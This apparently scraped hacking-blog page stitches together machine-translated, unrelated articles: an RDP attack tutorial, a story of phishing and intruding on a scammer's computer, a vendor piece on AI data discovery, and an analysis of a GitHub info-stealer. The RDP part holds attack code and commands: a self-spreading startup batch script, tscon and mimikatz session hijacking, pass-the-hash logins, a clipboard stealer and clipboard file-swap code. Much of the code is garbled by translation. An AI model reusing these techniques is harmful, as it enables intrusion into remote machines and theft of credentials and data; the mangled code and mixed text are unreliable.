Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104373

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ

タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bg3bgfia04n11217.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

ued0003o3hh11319.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

uxmejyuamfc11321.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

ytujs514m1y11323.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

el0uabesgdx11325.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

3vhhfx0qews11327.png

スクリプトトロイの木馬

m2tjqxor2hl11329.png

あらゆる種類の本名証明書

obxthatll4011331.png

さまざまなバッチハッキングツール

vkmdxgyqpix11333.png

ブラックハットSEOキーワード

wultsnlyxjq11336.png

侵入に使用されるさまざまなVPSマシン

nn21luswd0j11338.png

さまざまなWebサイトを説明します

0wrnk1xblj511340.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

vnjiduymdke11341.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

ejypho3p4lk11342.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

l5hbfzic0gv11343.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

pngnjyqp5f011344.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

5nhrlt3h0jf11345.png

xarc3y41guw11346.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

jefcil2kinc11348.png

wkzengpu3sp11350.png

ryaajnotujq11351.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

wkyr1agvis011354.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

數據是現代企業的新石油:正確使用它可以促進公司的發展並幫助企業在競爭中領先。就像石油一樣,原始數據和未被發現的數據是毫無用處的,企業將無法從中受益;在最壞的情況下,它可能會導致安全事件。這也是企業投資敏感數據發現和保護解決方案的原因。

傳統的數據發現工具由數據掃描儀和基於規則的算法提供支持,這些工具通常不足以掌握不斷增長的新數據流。因此,許多企業利用人工智能(AI) 增強其數據發現和保護解決方案。

在本文中,我們將討論基於規則係統的主要缺點以及使用人工智能發現和保護敏感數據的好處、典型的數據發現和保護解決方案的工作原理,還分享有Apriorit 經驗中的開發技巧。

敏感數據發現如何影響企業安全將敏感數據保存在一個安全的存儲位置似乎是一項容易的任務,但實際上對於許多企業來說幾乎是不可能的。在COVID-19 大流行期間過渡到遠程或混合工作、將本地環境遷移到雲或經歷合併和收購過程,可能會導致敏感數據存儲在最不明顯的地方。此類數據會受到網絡安全解決方案的關注,並增加數據洩露或安全事件的風險。

存儲在企業控制和安全邊界之外的數據會帶來數據盜竊或數據洩漏等安全事件的風險。這就是企業投資敏感數據發現軟件的原因——用於檢測、識別和組織所有組織資源和環境中的記錄的工具。

實施這樣的解決方案可以讓企業:

马云惹不起马云 確保遵守網絡安全法

马云惹不起马云防止數據被盜和洩露

马云惹不起马云進行數據驅動的網絡安全改進

马云惹不起马云提高數據管理效率

image.png

跨不同環境和基礎設施控制敏感數據的需求不斷增長,導致數據發現軟件越來越受歡迎。事實上,全球敏感數據發現市場預計將從2020 年的51 億美元增長到2026 年的124 億美元。

敏感數據保護髮現和工具對於以下行業中處理敏感信息的企業尤其重要:

马云惹不起马云 金融科技

马云惹不起马云零售與電子商務

马云惹不起马云衛生保健

马云惹不起马云保險

马云惹不起马云運輸與物流

马云惹不起马云人力資源和客戶服務

马云惹不起马云軟件開發

然而,傳統的數據發現解決方案無法始終跟上現代公司生成新記錄的速度。接下來,我們來看看這些工具的主要弱點和局限性。

為什麼傳統的數據發現工具不夠用雖然用於數據發現和保護的專用工具可提供許多業務優勢,但管理它們並將其集成到現有的公司係統中可能具有挑戰性。

以下是基於規則的數據發現的主要缺點:

image.png

1.發現過程緩慢基於規則的系統通常依賴數據庫和存儲掃描器來發現新記錄。他們花費大量時間來分析集成的存儲實例,必須進行一一掃描。如果在掃描期間添加新記錄,該工具將不會發現它,直到完成當前掃描並開始新掃描。此外,掃描儀必須在每次掃描期間檢查所有記錄,包括自上次掃描以來未更改的記錄。

2.非結構化記錄的發現能力較差基於規則的工具可以輕鬆發現數據庫、日誌和電子表格等結構化數據源中的敏感記錄。當涉及非結構化數據源(電子郵件、文本文檔、社交媒體)時,發現的準確性會顯著下降,因為非結構化記錄分散且不一致。使用非AI 解決方案掃描此類數據源通常會提供不可靠且不完整的結果,考慮到企業生成的約90% 的數據是非結構化的,這一點尤其重要。

3.需要大量的手動輸入為了成功使用基於規則的系統,企業必須執行大量手動活動:設置配置、指定掃描和分類規則以及正則表達式、查看結果等等。大量手動輸入會增加引入人為錯誤的機會。使用基於規則的系統也不能消除手動發現系統無法識別的數據(例如上面討論的非結構化記錄)的需要。

4.分類保護錯誤當數據沒有被正確、完整地發現時,任何工具都很難對其進行分類:確定敏感記錄的類型、計算風險評分並分配所需的網絡安全措施。敏感數據分類不正確可能會使記錄不受保護,從而導致數據被盜和合規違規。

5.缺乏網絡安全背景基於規則的系統收集有關數據發現的有限數據。通常,它們受到發現的數據類型及其位置的限制。為了檢查工具的發現和分類性能,網絡安全專家必須手動評估新記錄並收集缺失的上下文,然後才能做出最終決定。

這些限制源於基於規則的系統的核心算法,這就是為什麼即使是經驗豐富的開發人員和系統管理員也難以克服它們。對於存儲空間相對較小、每天不會創建大量數據並且擁有可用IT 資源來管理髮現過程的組織來說,使用此類系統是有益的。

如果有嚴格的網絡安全要求,並且需要更多背景信息來發現和保護數據,請考慮選擇基於人工智能的工具。採用強大的基於人工智能的系統可以滿足敏感數據保護和網絡安全合規性方面的許多業務需求。

為什麼使用人工智能進行數據發現和保護使用人工智能進行數據發現和保護可以顯著提高數據發現和保護解決方案的準確性和可靠性。企業可以在數據發現過程中使用各種人工智能模型和技術來獲得以下優勢:

image.png

1.識別非結構化數據與基於規則的系統不同,基於人工智能的解決方案可以識別結構化和非結構化數據中的敏感記錄。借助大型語言模型(LLM) 和自然語言處理(NLP),此類解決方案可以檢測信件、聊天日誌、文本文件以及其他無法由規則完全定義的來源中的敏感信息。

對非結構化數據的分析使人工智能驅動的敏感數據發現工具變得可靠,並有助於提高組織的整體網絡安全態勢。

2.實時檢測新記錄人工智能算法不需要迭代掃描可用環境來發現新數據。相反,他們可以分析新的和編輯的記錄,從而顯著加快檢測速度並避免瓶頸。一些敏感數據發現工具既使用基於規則的掃描進行常規數據檢查,又使用人工智能模型來更準確地分析非結構化記錄。

3.增強流程自動化基於人工智能的工具可以可靠地自動化數據發現、分類和保護期間的大多數活動。初始配置後,他們很少需要手動輸入和額外的調整。高水平的自動化可以幫助企業加快數據發現速度,並將網絡安全專家從日常任務中解放出來,使他們能夠專注於需要其專業知識的挑戰。

4.正確分類和保護數據由於能夠理解數據的含義和上下文,人工智能可以準確地對發現的任何存儲格式的記錄進行分類。正確的分類和敏感度分數允許人工智能選擇相關的記錄,並採取相應的安全措施,改善組織的安全狀況並遵守相關的安全要求。

5.從數據分析中獲得見解由人工智能驅動的數據發現解決方案會生成並收集大量與其工作相關的數據,包括新敏感記錄的性質和位置、分類結果以及常見的數據安全策略違規行為。此類軟件可以使用這些數據創建儀表板,幫助安全專家快速評估和改進發現和保護流程。

該解決方案還可以創建有關最近事件和數據保護狀態的自動報告,這些報告對於深入評估組織的安全性和通過合規性審核非常有用。

使用人工智能進行數據發現可以將數據發現解決方案提升到一個新的水平,並提高組織的網絡安全性。然而,以高效且經濟高效的方式實施它需要在網絡安全領域使用人工智能的經驗。

人工智能數據發現和保護工具如何工作用於數據發現和保護的高級解決方案可以執行從文件掃描到數據分析和風險報告的各種活動。此類工具可能完全基於人工智能算法或具有附加人工智能功能的基於規則的系統。

雖然每個解決方案都有自己的殺手級功能和工作流程,但可以將大多數基於人工智能的工具所經歷的數據發現過程概述為以下關鍵階段:

image.png

1.數據掃描AI 解決方案持續監控它可以訪問的環境以獲取新數據:雲和本地服務器、數據庫、設備驅動器等。數據發現和保護解決方案的管理員可以配置它應查找的數據類型並提供對實例的訪問它應該監控。

掃描通常包括以下關鍵步驟:

马云惹不起马云 監控可訪問存儲實例的更改和新記錄

马云惹不起马云識別潛在敏感記錄

马云惹不起马云準備非結構化數據進行處理

當解決方案發現包含潛在敏感數據的文件時,它會嘗試對其進行分類。

2.數據分類和標記根據其配置,軟件可以通過以下方式對發現的記錄進行分類:

马云惹不起马云敏感數據的類型。該解決方案可以識別個人、財務或製造數據以及知識產權。在這個階段使用LLM和NLP等人工智能技術有助於對非結構化數據進行高精度分類。

马云惹不起马云敏感度得分。該解決方案可以根據數據的性質、位置、所應用的保護措施和其他因素來計算發現的記錄的敏感程度。此分數有助於解決方案決定在後續處理階段如何處理數據以及何時需要通知系統管理員。

分類完成後,解決方案會為發現的記錄分配標籤。標籤通常包括數據類型、與其交互所需的訪問級別以及限制級別。解決方案管理員還可以創建自定義標籤。

3.保護數據發現軟件為保護其發現的數據而採取的步驟完全取決於組織的網絡安全標準和環境、適用的法規等。通常,人工智能驅動的軟件可以實施以下數據保護措施:

马云惹不起马云加密

马云惹不起马云准入政策

马云惹不起马云將數據傳輸到更安全的存儲

马云惹不起马云去識別化和匿名化

马云惹不起马云數據脫敏

4.警報和分析除了持續的發現和保護過程之外,還可以使用人工智能算法來處理他們收集的數據並編譯有用的儀表板:

马云惹不起马云當前需要管理員解決的安全威脅

马云惹不起马云各種數據記錄和存儲實例的風險評分

马云惹不起马云常見的數據保護違規行為,這可能表明有害的用戶行為和安全策略中的漏洞

马云惹不起马云應用保護與合規性要求之間的不一致

此類數據分析和可視化能夠檢測企業保護中的薄弱環節並改進安全策略。

儘管數據發現和保護軟件幾乎可以完全自動工作,但網絡安全專家必須概述其決策,以確保充分的數據保護。當此類軟件發現敏感度較高或存在較多安全風險的新記錄時,它可以通知管理員。然後,管理員可以查看解決方案分配的保護措施,並根據需要進行更改。

如何應對人工智能驅動的數據發現的關鍵挑戰構建自定義數據發現和保護工具總是會面臨針對客戶群體、需求和合規性要求所特有的挑戰。

image.png

1.相關數據存儲集成為了能夠發現所有敏感數據,工具需要訪問和讀取組織所有環境中的記錄。但是,為所有可能的雲和本地存儲實例添加API需要開發人員花費大量時間,並且可能會引入安全漏洞。在開始開發之前,會採訪客戶的利益相關者,以了解他們的環境,僅添加他們需要的集成,並保護已實施的API。

2.可靠的開發組件使用第三方組件可以顯著加快開發過程,但也會增加在解決方案中添加後門的風險。為了找到開發時間和安全性之間的平衡,將會測試第三方軟件並使用已知漏洞數據庫對其進行檢查,然後再將其添加到客戶的解決方案中。

如果解決方案使用GPT或Claude等商業語言模型,可以創建一個私有數據庫來訓練它或在本地部署模型,以避免與其他公司共享數據。

3.均衡的資源利用與任何基於人工智能的解決方案一樣,持續的數據發現可能非常消耗資源,特別是當企業不斷生成大量數據時,這可能會導致高昂的雲使用成本或需要維護強大的本地計算機。為了避免開發和維護成本飆升,採用了敏捷和DevOps實踐,優化AI性能以消除不必要的操作,並實施靈活的擴展機制。

4.安全配置人工智能數據發現和保護工具需要訪問和管理其管理環境中的任何記錄。這些記錄可能會被黑客或內部人員濫用,以尋求訪問敏感數據而不被注意到的方法。限制工具的安全權限將阻礙其效率,因此,會尋求性能和安全性之間的平衡:配置對記錄的即時訪問、發現數據時匿名化、為管理員添加數據操作通知等。

5.人工智能偏見任何基於人工智能的解決方案都會帶有其開發人員和訓練數據集的偏見。

對於數據發現和保護解決方案,這種偏差可能會導致數據分類不正確或安全措施執行不足。在產品發布之前檢測人工智能偏差的最可靠方法是通過廣泛的測試。

培養人工智能、網絡安全和數據管理等複雜軟件開發領域的專業知識。憑藉為來自嚴格監管行業的客戶構建定制解決方案的經驗,可以儘早概述關鍵的開發挑戰並提供克服這些挑戰的方法。

結論數據發現和保護工具是任何企業網絡安全的重要組成部分,因為它們為可靠的數據安全和管理奠定了基礎。此類工具可以跨任何云、本地和混合基礎設施發現敏感數據,並根據企業的策略和合規性要求實施網絡安全措施。

通過人工智能增強數據發現和保護,將此類解決方案提升到一個新的水平。與基於規則的系統相比,人工智能可以發現非結構化數據並對其進行分類,犯的錯誤更少,不需要大量的手動輸入,並可以收集數據以用於未來的安全改進。

但要構建人工智能驅動的數據發現解決方案並安全地部署它,用戶需要聘請網絡安全、人工智能開發和數據管理方面的專家。

封面图.jpg

1 概覽近期,安天CERT監測到通過GitHub傳播竊密木馬的攻擊活動。攻擊者在其發布項目的環境依賴文件requirements.txt中添加惡意URL,以獲取其惡意篡改的流行開源模塊,從而在受害者電腦中植入竊密木馬。

攻擊者使用空格將惡意代碼掩藏在該行代碼的末尾,以避免被用戶察覺;並使用多種手段對惡意代碼進行混淆處理,以規避安全產品檢測、阻礙安全人員分析。經過多層腳本載荷的傳遞後,將執行一種由Python編寫的竊密木馬。該竊密木馬會在受害主機中竊取瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感信息,並針對目標路徑中匹配關鍵詞的文件夾及文件進行竊取,最終將竊密數據回傳至C2服務器或上傳至文件共享平台Gofile中。

在此次攻擊活動中,攻擊者在自己發布的項目中引入經過惡意篡改的流行開源模塊,從而傳播竊密木馬。對流行的開源項目進行篡改,在其中添加惡意代碼後重新打包並在發布的項目中進行惡意引用,已經成為一種攻擊方式,用戶很難察覺環境依賴文件中是否存在異常。用戶在使用網絡中非流行、未證實安全性的開源項目時也需保持警惕,以避免執行掩藏在其中的惡意代碼。

經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該竊密木馬的有效查殺。 2 技術梳理攻擊者在GitHub中上傳項目,並在環境依賴文件requirements.txt中添加惡意URL。當用戶使用該項目時,需要根據該文件中的內容進行配置,從而下載執行經過攻擊者惡意篡改的colorama模塊。

攻擊者添加的惡意代碼用於從其服務器中獲取“version”文件,該文件使用Fernet算法進行加解密,執行後獲取“inj”文件並寫入臨時文件中;“inj”文件經過混淆處理,通過zlib對代碼進行解壓;解壓後的代碼用於獲取最終的竊密木馬,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等基本數據。

該竊密木馬會竊取指定瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感數據,並對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。完成竊密行為後,竊密木馬通過HTTP POST方式將竊密數據回傳至C2服務器中。當第一種回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile。

图 2-1攻击流程图.png

圖2‑1攻擊流程圖

3 關聯分析此次發現的惡意GitHub項目是“Discord-Token-Generator”,最早於2024年1月份創建。

图 3-1恶意GitHub项目.png

圖3‑1惡意GitHub項目

該項目的環境依賴文件requirements.txt中包含一個託管colorama-0.4.6.tar.gz的URL。攻擊者對域名進行了偽裝,在流行開源模塊colorama-0.4.6中添加了惡意代碼,並進行重新打包。

图 3-2恶意Github项目中的requirements.txt文件.png

圖3‑2惡意Github項目中的requirements.txt文件

根據requirements.txt文件中發現的惡意域名,目前在GitHub中有多個項目引用了經過攻擊者惡意篡改的模塊,相關賬號可能都是由同一批攻擊者所創建。

图 3-3引用经过攻击者恶意篡改模块的相关GitHub项目.png

圖3‑3引用經過攻擊者惡意篡改模塊的相關GitHub項目

攻擊者用於託管載荷的域名於2024年2月份註冊,表明這是一起剛開始進行的攻擊活動。

图 3-4攻击者使用域名的注册时间.png

圖3‑4攻擊者使用域名的註冊時間

在多個惡意GitHub項目中存在攻擊者修改requirements.txt文件的痕跡。分析時已無法獲取到該URL中的colorama-0.4.3.tar.gz,不能判斷該文件是否惡意。

图 3-5攻击者修改requirements.txt的痕迹.png

圖3‑5攻擊者修改requirements.txt的痕跡

此外,在竊密木馬文件中存在多處葡萄牙語痕跡,表明攻擊者可能位於葡語系國家或地區。

图 3-6攻击者在窃密木马文件中使用葡萄牙语进行输出.png

圖3‑6攻擊者在竊密木馬文件中使用葡萄牙語進行輸出

竊密木馬竊取文件的關鍵詞列表中存在幾處法語,表明攻擊者可能更加針對法語用戶。

图 3-7窃密文件中的法语痕迹.png

圖3‑7竊密文件中的法語痕跡

